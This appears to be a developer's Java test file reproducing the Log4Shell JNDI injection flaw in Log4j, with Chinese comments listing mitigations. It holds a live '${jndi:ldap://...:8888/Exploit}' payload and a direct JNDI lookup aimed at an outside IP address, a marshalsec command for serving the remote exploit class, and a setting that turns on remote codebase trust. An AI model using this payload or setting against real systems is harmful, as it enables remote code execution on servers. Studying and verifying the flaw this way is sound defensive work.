package com.technology.client;


import com.sun.jndi.rmi.registry.RegistryContext;
import org.apache.logging.log4j.Level;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.spi.NamingManager;
import java.util.Hashtable;
import java.util.Properties;

public class LDAPTest {
	private static final Logger logger = LogManager.getLogger(LDAPTest.class);

	/**
	 * Apache Log4j 远程代码执行漏洞,日志组件存在 Java JNDI 注入漏洞; https://github.com/apache/logging-log4j2
	 * 当程序将用户输入的数据记入日志时，攻击者通过构造特殊请求(${jndi:ldap://ip:端口/文件})触发,可利用此漏洞在目标服务器上执行任意代码。
	 * 在默认安装中，JNDI 支持RMI和LDAP协议 https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/
	 * 参考：https://github.com/mbechler/marshalsec java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"
	 *
	 * @link https://logging.apache.org/log4j/2.x/security.html
	 */
	public static void main(String[] args) throws Exception {
		System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true"); //jdk1.8.0_311需要设置
		String inputStr = "${jndi:ldap://39.107.88.69:8888/Exploit}";
		logger.error("xxx params:" + inputStr);
//		PatternSerializer#toSerializable >> MessagePatternConverter
//		testJNDI();
		// 方法1:禁用msg输出时进行lookup(开关太大/局限性)  系统属性log4j2.formatMsgNoLookups=true or 环境变量LOG4J_FORMAT_MSG_NO_LOOKUPS=true(重启IDEA) or PatternLayout %msg{nolookups}
//		System.out.println(System.getenv("LOG4J_FORMAT_MSG_NO_LOOKUPS"));
		// 方法2:log4j-core升级到2.16.0(2.0.15虽然修复了但是有新问题)  Java7升级到2.12.2版本;Java8及以上升级到2.16.0版本

		// 方法3:业务系统网关层做全局过滤/日志切面
	}

	public static void testJNDI() throws NamingException {
// 		JNDI 指定LDAP服务资源及上下文,查找标识关联的RMI服务
//		Hashtable<String, Object> env = new Hashtable<>();
//		env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.ldap.LdapCtxFactory");
		String jndiUri = "ldap://39.107.88.69:8888/Exploit";
		InitialContext initialContext = new InitialContext();
		Object lookup = initialContext.lookup(jndiUri);
		System.out.println(lookup);

	}
}
